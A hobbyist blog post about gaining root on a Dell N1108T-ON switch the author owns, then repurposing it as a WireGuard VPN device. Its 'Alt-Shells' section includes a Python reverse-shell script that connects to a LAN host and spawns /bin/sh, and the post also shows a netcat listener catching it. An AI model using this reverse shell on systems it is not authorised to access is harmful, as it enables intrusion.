[CONTACT]

[ABOUT]

[POLICY]

Ethernet rules everything around lar

Found at: gopher.blog.benjojo.co.uk:70/dell-switch-hacking

 Teaching a cheap ethernet switch new tricks
 ===
 ![](https://blog.benjojo.co.uk/asset/gCEgcMRz09)
 Ethernet rules everything around us, a large proportion of
our systems communicate to each other with ethernet somewhere in
the line. And the fast pace race to the bottom for embedded
systems means that almost all network equipment is smart to some
degree these days.
 One of the bright sides of this is that where there are
smart things, there is generally Linux too. This is handy since
Linux is practically eating the world and is familiar to many of
us. At this point even lower end ethernet switches that used
to be confined to turnkey chips are now also "smart" enough
to be running Linux.

Open Compute Project

ONIE

 We are also in an interesting time where we have projects
like the Open Compute Project that aim to make the hardware
itself open between vendors. The resulting product from most Open
Compute Project devices are "bare metal switches" that have the
hardware to switch packets but no operating system to drive them.
The operating system part for open switches (and participating
non open design switches) is dealt with by a system called
ONIE (Open Network Install Environment)

Cumulus OS

 ONIE provides a mostly standardised boot environment that
can be used to install other boot environments. From what it
feels like the majority of users of ONIE use it to install
Cumulus OS, a commercial debian based OS that is tuned for
switches.
 I went on the hunt for ONIE enabled switches, my original
intention was to find cheaper ways to shift low volumes of traffic
(aka, integrated VPN or out of band vpn+switch) but factors at
work made me realise that that was a solution that wasn't going
to be accepted, so I took it up for fun instead. Sadly since
the majority of these switches are aimed at datacenter
deployments they are generally unsuitable for use on my desk. Often
lacking gigabit copper ethernet ports, or even lacking anything
slower than 10 gigabit full stop. On top these switches would be
aggressively priced out of my budget, and have loud active cooling.

Dell N1108T-ON

 That was until I found the Dell N1100 series, or more
specifically the Dell N1108T-ON.
 The marketing and manuals claimed this tiny 8 port switch
had ONIE support. And I found a cheap vendor that sold
refurbished ones for around 85 GBP. It was a done deal.
 ## Switch Probing
 Upon first launch, we see that we have a pretty standard
boring admin UI:

Dell Switch admin UI

 Dell Switch admin UI
 The real fun starts over the USB serial port:
 ```
 [11555.128185] usb 3-4.1: New USB device found,
idVendor=0403, idProduct=6015, bcdDevice=10.00
 [11555.128188] usb 3-4.1: New USB device strings: Mfr=1,
Product=2, SerialNumber=3
 [11555.128189] usb 3-4.1: Product: FT230X Basic UART
 [11555.128190] usb 3-4.1: Manufacturer: FTDI
 [11555.128191] usb 3-4.1: SerialNumber: DN03MXGK
 [11555.136388] ftdi_sio 3-4.1:1.0: FTDI USB Serial Device
converter detected
 [11555.136413] usb 3-4.1: Detected FT-X
 [11555.136629] usb 3-4.1: FTDI USB Serial Device converter
now attached to ttyUSB0
 ```
 Dell nicely integrated a little FTDI serial converter into
the switch, this is a nice improvement from the land of Cisco
style console cables that are the bane of my existence in other
scenarios due to subtle vendor differences.
 Anyway, over the serial console we can see
 
 
 
 If we interact with the boot process, we can see that we
can boot into ONIE Recovery mode! This is handy since the
shell on the main OS only gives access to switch configuration.
 
 
 With a little probing we can take a look at our
surroundings:
 ```
 ONIE:/ # uname -m
 armv7l
 ONIE:/ # uname -r
 4.4.0-Broadcom XLDK-3.8.1
 ```
 This kernel is actually pretty new! This is a good sign
for us, since embedded devices have a habit of running
reasonably old kernels with limited features. The downside is that
there is generally very limited support for ONIE devices running
arm, and after a large amount of searching, there are no
compatible ONIE images for this device at all, other than the already
installed Dell OS.
 So clearly we need to start hacking based on what we
already have, since making ONIE images is a lot of effort and is
generally locked down to those who have SDKs that are behind NDAs
with Broadcom.
 ```
 ONIE:/ # ls -alh /bin/sh
 lrwxrwxrwx    1 root     0              7
Feb 28  2017 /bin/sh -> busybox
 ```

busybox

 We can also see that we are inside a busybox system, so
most of the utils are going to look like standard coreutils,
but have features missing.
 ```
 ONIE:/dev # ls -alh | grep mtd
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-diags -> /dev/mtd4
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-onie -> /dev/mtd5
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-open -> /dev/mtd6
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-shmoo -> /dev/mtd2
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-sys_eeprom -> /dev/mtd3
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-uboot -> /dev/mtd0
 lrwxrwxrwx    1 root     0              9
Jan  1 00:00 mtd-uboot-env -> /dev/mtd1
 crw-rw----    1 root     0          90,   0
Feb 28  2017 mtd0
 crw-rw----    1 root     0          90,   2
Feb 28  2017 mtd1
 crw-rw----    1 root     0          90,   4
Feb 28  2017 mtd2
 crw-rw----    1 root     0          90,   6
Feb 28  2017 mtd3
 crw-rw----    1 root     0          90,   8
Feb 28  2017 mtd4
 crw-rw----    1 root     0          90,  10
Feb 28  2017 mtd5
 crw-rw----    1 root     0          90,  12
Feb 28  2017 mtd6
 crw-rw----    1 root     0          90,  14
Feb 28  2017 mtd7
 ```

MTD device

 We can also see that the system boots directly from a MTD
device with some handy symlinks prepopulated for us to look at.
So it's now a decent time to see if we can get the contents
of these MTD devices out and give them a poke around:
 ```
 ONIE:/dev # mount /dev/sda1 /usb
 ONIE:/dev # dd if=/dev/mtd-diags of=/usb/SWITCH/mtd-diags
 ```
 Using binwalk we can scan over these images for clues of
what lives inside them. Sadly, the mtd devices just seem to
contain uboot and kernel images:
 ```
 Scan Time:     2019-06-08 19:00:17
 Target File:   /media/ben/0300-88EE/SWITCH/mtd-onie
 MD5 Checksum:  40854e6964529efa644be69840f67ef9
 Signatures:    344
 DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
 639045        0x9C045         Certificate in DER
format (x509 v3), header length: 4, sequence length: 1284
 4348305       0x425991        Certificate in DER
format (x509 v3), header length: 4, sequence length: 1432
 4361413       0x428CC5        Certificate in DER
format (x509 v3), header length: 4, sequence length: 5376
 5394768       0x525150        Linux kernel version
"4.4.0-Broadcom XLDK-3.8.1 (pchockalingam@pchockalingam-OptiPlex-9020) (gcc
version 4.9.3 (Buildroot 2015.11.1) ) #31 SMP PREEMPT
 5410352       0x528E30        gzip compressed data,
maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
 ```
 ```
 Scan Time:     2019-06-08 19:00:12
 Target File:   /media/ben/0300-88EE/SWITCH/mtd-diags
 MD5 Checksum:  c3b7061af82df2162320dcf441fdc379
 Signatures:    344
 DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
 0             0x0             uImage
header, header size: 64 bytes, header CRC: 0xE2DF26B4, created:
2017-06-15 01:17:16, image size: 15332548 bytes, Data Address:
0x61008000, Entry Point: 0x61008000, data CRC: 0xD34EB79E, OS: Linux,
CPU: ARM, image type: OS Kernel Image, compression type: none,
image name: "Image"
 2298289       0x2311B1        Certificate in DER
format (x509 v3), header length: 4, sequence length: 1284
 ...
 4718756       0x4800A4        Linux kernel version
"3.6.5-Broadcom Linux (tony@B3S1SVN) (gcc version 4.7.2 (Broadcom Linux) )
#721 SMP Thu Jun 15 09:17:04 CST 2017 (XLDK-3.6.5)"
 4723212       0x48120C        CRC32 polynomial
table, little endian
 4736828       0x48473C        gzip compressed data,
maximum compression, from Unix, NULL date (1970-01-01 00:00:00)
 5411103       0x52911F        Unix path:
/arm/plat-iproc/../../../../../bcmdrivers/qspi/qspi_iproc.c
 5413548       0x529AAC        Unix path:
/arm/plat-iproc/../../../../../bcmdrivers/sd/iproc_sdhci.c
 ...
 15152640      0xE73600        CRC32 polynomial
table, little endian
 ```
 We can see based on this binwalk output that the kernel
we are running in the ONIE recovery mode is newer than the
one that runs the switch itself (and is built by
"pchockalingam" on a OptiPlex-9020 apparently) , this is slightly saddening
since that means then main OS that we need to hack is older
than we originally thought, but first we have to actually get a
root shell in the main OS!

UBI device

 The other thing we can infer from these MTD dumps is that
the vast majority of the flash (900MB of it) is used as a
UBI device:
 ```
 Scan Time:     2019-06-08 19:01:12
 Target File:   /media/ben/0300-88EE/SWITCH/mtd-open
 MD5 Checksum:  87e67e50132e9f584f4212cc88f8c977
 Signatures:    344
 DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
 0             0x0             UBI erase
count header, version: 1, EC: 0x1, VID header offset: 0x1000,
data offset: 0x2000
 ```
 So alas, we are grounded to the OS image that Dell has
already installed on the device, so how do we run our own code
on it?
 ## Alt-Shells
 Poking around the console outputs we can pick up a few
paths to explore:
 ```
 Extracting Operational Code from .stk file...done.
 Loading Operational Code...done.
 Decompressing Operational Code...done.
 Uncompressing apps.lzma
 Uncompressing python.lzma
 Installing Python
 ```
 So we clearly have python installed on the device, this is
likely what the device runs as it's admin UI that we already
saw.
 After a quick look around the command line interface, I
discovered that I also have a way to look around some part of the
file system:
 ```
 console>enable
 console#dir
 Attr  Size(bytes)          Creation Time
Name
  drwx                 3368 Jun 09 2019
01:59:28 .
  drwx                    0 May 24 2017
09:07:39 ..
   -rw                   96 Jun 09 2019
01:59:39 snmpOprData.cfg
   ---                    0 Apr 17 2019
02:22:16 fsyssize
   -rw                  156 Apr 17 2019
02:00:16 dh512.pem
   -rw             27358384 Dec 14 2018 21:28:33
image1
  -rwx             26544053 Jun 08 2017 09:21:57
image2
 ... blah
   -rw                16328 Jun 03 2019
00:15:29 log-1.bin
 Total Size: 781512704
 Bytes Used: 58383099
 Bytes Free: 723129605
 ```
 Poking around more, I found an applications interface:
 ```
 console#application ?
 start                    Start an installed
application.
 stop                     Stop a running
application.
 ```

manual on how to use this platform

 After a bunch of googling later I found a manual on how
to use this platform
 To start with, I really just wanted to see if I can just
get a shell, thus:
 ```
 $ cat rshell.py
 #!/usr/bin/env python
 import socket,subprocess,os
 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
 s.connect(("192.168.2.164",80))
 os.dup2(s.fileno(),0)
 os.dup2(s.fileno(),1)
 os.dup2(s.fileno(),2)
 p=subprocess.call(["/bin/sh","-i"]);
 $ tar -cvzf lol.tar.gz rshell.py
 rshell.py
 ```
 Using this tarball we can install it:
 ```
 console#copy usb://lol.tar.gz application lol.tar.gz
 Transfer Mode.................................. Binary
 Data Type...................................... Application
 Downloads application file
 Management access will be blocked for the duration of the
transfer
 Are you sure you want to start? (y/n) y
 File transfer in progress. Management access will be blocked
for the duration of the transfer. please wait...
 Application file download completed successfully.
 console(config)#application install rshell.py
 console(config)#show application
 OpEN application table contains 2 entries.
 Name             StartOnBoot AutoRestart CPU Sharing
Max Memory
 ---------------- ----------- ----------- ----------- ----------
 SupportAssist    Yes         Yes         0
        0
 rshell.py        No          No
0           0
 console(config)#exit
 console#application start rshell.py
 Application started.
 ```
 And to my amazement, the reverse shell attempt worked first
time(!)
 ```
 [19:38:17] ben@metropolis:~$ sudo nc -v -l -p 80
 [sudo] password for ben:
 Listening on [0.0.0.0] (family 0, port 80)
 Connection from 192.168.2.163 36686 received!
 /bin/sh: can't access tty; job control turned off
 # ps | grep grep
  1654 root      1844 S    grep grep
 # uname -m
 armv7l
 # uname -r
 3.6.5-Broadcom Linux-fcf6186d
 # pwd
 /mnt/fastpath
 #  ls -alh /bin/sh
 lrwxrwxrwx    1 root     root           7 May
24  2017 /bin/sh -> busybox
 ```
 This is great! We are root, on a very similar system to
the recovery environment, with reliable means to get a root
shell!
 ## More than just Python
 Giving that applications are tarballs and that the python
scripts provided must start with "#!/usr/bin/env python" I suspected
that the system was just launching them straight up rather than
involving a python parser. So assuming we could produce binaries that
compiled to arm and had the correct dependencies linked into the
binary (aka static linking) then we could avoid Python all
together.

Go

 As it happens this is really easy in Go:
 ```
 ben@metropolis:~/dell-N1100-tricks/hello-world$ cat main.go
 package main
 import "fmt"
 func main() {
         fmt.Println("Hello from the switch")
 }
 ben@metropolis:~/dell-N1100-tricks/hello-world$ GOARCH=arm go
build
 ben@metropolis:~/dell-N1100-tricks/hello-world$ ls -alh
hello-world
 -rwxr-xr-x 1 ben ben 1.9M Jun  9 15:34 hello-world
 ben@metropolis:~/dell-N1100-tricks/hello-world$ file hello-world
 hello-world: ELF 32-bit LSB executable, ARM, EABI5 version 1
(SYSV), statically linked, not stripped
 ben@metropolis:~/dell-N1100-tricks/hello-world$ tar -cvzf
asd.tar.gz hello-world
 ```
 Then on the switch:
 ```
 console#copy usb://asd.tar.gz application asd.tar.gz
 Transfer Mode.................................. Binary
 Data Type...................................... Application
 Downloads application file
 Management access will be blocked for the duration of the
transfer
 Are you sure you want to start? (y/n) y
 File transfer in progress. Management access will be blocked
for the duration of the transfer. please wait...
 Application file download completed successfully.
 console(config)#application install hello-world
 console(config)#exit
 console#application start hello-worldHello from the switch
 Application started.
 ```
 It works! This is big news since there is a large
community behind Go libraries, and since the binaries that go
produces are automatically statically linked (as long as you don't
import C dependencies), we can easily develop against the switch
without worrying that we are going to bump into lack of dependency
issues on the switch's operating system.
 The first thing it called for is a SSH server that dumped
you into a shell automatically:
 ```
 # # Based on
https://gist.github.com/jpillora/b480fde82bff51a06238
 ben@metropolis:~$ ssh -p 2200 foo@192.168.2.163 he
 # /bin/sh: can't access tty; job control turned off
 # pwd
 /mnt/fastpath
 #
 ```
 Sadly I could not get ptty's working, meaning that for now
the example just spawns a shell in interactive mode, better
than running a reverse shell every time you want to get root
access to the switch though!
 ## A cheap 8 port VPN device
 Giving the low cost of this device, and the fact it runs
a freely rootable OS, it would make a nice out of band
switch with a VPN uplink. However for this we need to check if
the kernel that we are stuck on can support TUN/TAP devices,
luckily this is easy since the kernel itself was compiled with
`CONFIG_IKCONFIG_PROC=y` meaning that the whole kernel config is in `/proc/config.gz`
making it easy to check what the kernel supports:
 ```
 # zcat /proc/config.gz | grep CONFIG_TUN
 CONFIG_TUN=y
 ```

wireguard

wireguard-go

 This is great, this means we can create TUN/TAP devices on
this system, We can use this feature to bring up wireguard
tunnels to provide safe and encrypted access to the device.
Wireguard for Linux is a kernel module, however with some small
patching you can also use the wireguard-go implementation for devices
where you can't load modules.
 ```
 # WG_I_PREFER_BUGGY_USERSPACE_TO_POLISHED_KMOD=1 ./wireguard-go
test
 WARNING WARNING WARNING WARNING WARNING WARNING WARNING
 W
                   G
 W   You are running this software on a Linux kernel,
G
 W   which is probably unnecessary and foolish. This   G
 W   is because the Linux kernel has built-in first
G
 W   class support for WireGuard, and this support is  G
 W   much more refined than this slower userspace
G
 W   implementation. For more information on
 G
 W   installing the kernel module, please visit:
G
 W           https://www.wireguard.com/install
  G
 W
                   G
 WARNING WARNING WARNING WARNING WARNING WARNING WARNING
 INFO: (test) 2019/06/10 00:22:04 Starting wireguard-go version
v0.0.20190517-15-gda61947-dirty
 # ip l
 1: lo:  mtu 16436 qdisc noqueue state
UNKNOWN mode DEFAULT group default
     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
 2: eth0:  mtu 1500 qdisc
pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000
     link/ether e4:f0:04:18:e7:86 brd ff:ff:ff:ff:ff:ff
 3: sit0:  mtu 1280 qdisc noop state DOWN mode
DEFAULT group default
     link/sit 0.0.0.0 brd 0.0.0.0
 4: ip6tnl0:  mtu 1452 qdisc noop state DOWN mode
DEFAULT group default
     link/tunnel6 :: brd ::
 5: dtl0:  mtu 1500 qdisc
pfifo_fast state UNKNOWN mode DEFAULT group default qlen 500
     link/ether e4:f0:04:18:e7:85 brd ff:ff:ff:ff:ff:ff
 6: test:  mtu 1420 qdisc noop
state DOWN mode DEFAULT group default qlen 500
     link/none
 ```
 Giving wireguard-go really does not want to load on Linux.
You need to pass it some encouragement in the form of an
environment variable, after that we can confirm that the new "test"
interface is running. At this point `wireguard-go` is running in the
background, and is waiting for configuration.

the CLI tools for wireguard

 At this point we need to compile the CLI tools for
wireguard called "wg", this is a C program that is designed to work
for both the Linux kernel module and the tun/tap server
variant. However for it to be easily compilable for this target, I
stripped out the support for the module for compilation simplicity,
and got to work cross compiling to arm:
 ```
 $ sudo apt-get install gcc make gcc-arm-linux-gnueabi
binutils-arm-linux-gnueabi
 $ make SHARED=0 CC='arm-linux-gnueabi-gcc -static
-mabi=aapcs-linux -mcpu=cortex-a9 --no-float-store' --trace
 ```
 Once it's on the switch, we can use the tool to set up
a config, and standard system tools to give the interface an
IP address.
 ```
 # ./wg setconf test test.conf
 # ./wg
 interface: test
   public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU=
   private key: (hidden)
   listening port: 9999
 peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI=
   endpoint: 192.168.2.1:9999
   allowed ips: 25.25.25.0/24
 # ip addr add 25.25.25.3/24 dev test
 # ip link set test up
 # ping 25.25.25.2
 PING 25.25.25.2 (25.25.25.2): 56 data bytes
 64 bytes from 25.25.25.2: seq=0 ttl=64 time=2.908 ms
 64 bytes from 25.25.25.2: seq=1 ttl=64 time=2.640 ms
 # ./wg
 interface: test
   public key: P3i+7BLxbtormgHRzPglOxrGQ4mpvFw9/ZKH8SPdPkU=
   private key: (hidden)
   listening port: 9999
 peer: Sijbz2dMX6fs53HgITe2SH2unR1IdRPjwOcmI0RSWFI=
   endpoint: 192.168.2.1:9999
   allowed ips: 25.25.25.0/24
   latest handshake: 10 seconds ago
   transfer: 1.39 KiB received, 2.12 KiB sent
 ```
 And as you can see, we have turned this cheap 8 port
switch into a wireguard capable device. This setup is easy to
automate using the previously mentioned applications interface.
 ## Under the hood pics

board picture

 board picture
 
 
class="c14" colspan="1" rowspan="1">

href="https://www.skhynix.com/products.view.do?vseq=1293&cseq=74">1GB of skhynix DDR3L RAM

class="c21" colspan="1" rowspan="1">

class="c0">

class="c14" colspan="1" rowspan="1">

Copper

Ethernet Isolation

class="c14" colspan="1" rowspan="1">

1GB of

Micron Flash NAND

colspan="1" rowspan="1">

class="c0">BCM53443B0KFSBG (24 Port 1 GB ethernet + 4 10GB ethernet Switch
chip)

class="c12">

rowspan="1">

BCM54220B0KFBG - Ethernet PHY for

the SFP ports

colspan="1" rowspan="1">

colspan="1" rowspan="1">

 Power consumption on this device is great with the power
supply being rated for 25W, but the actual nominal consumption
being just 5W.
 ## Conclusion
 The future is very interesting! With these kinds of devices
becoming more and more common thanks to the cost improvements with
adding smart control planes, I suspect we will soon see a lot of
low/mid tier routers just disappear into switches. This has already
somewhat happened, but with chipsets like BCM53443B0KFSBG existing,
there isn't much reason left to not just make smart switches
that also route (keep an eye out for devices that are running
fastpath, they are likely smarter than you think they are!).
 If you are interested in seeing some of the utils yourself
(they are not really that special) then you can find the github
repo where I dumped a bunch of working directories here:
https://github.com/benjojo/dell-N1100-tricks

following me on twitter

RSS feed

 I hope to end up doing some more hardware posts in the
coming months when I find the time, if that is your kind of
thing then you can stay up to date with this blog by following
me on twitter or using the blog's RSS feed
 Until next time!
 
src="https://blog.benjojo.co.uk/asset/8AqfZMzFPs">
 
 
 


AD: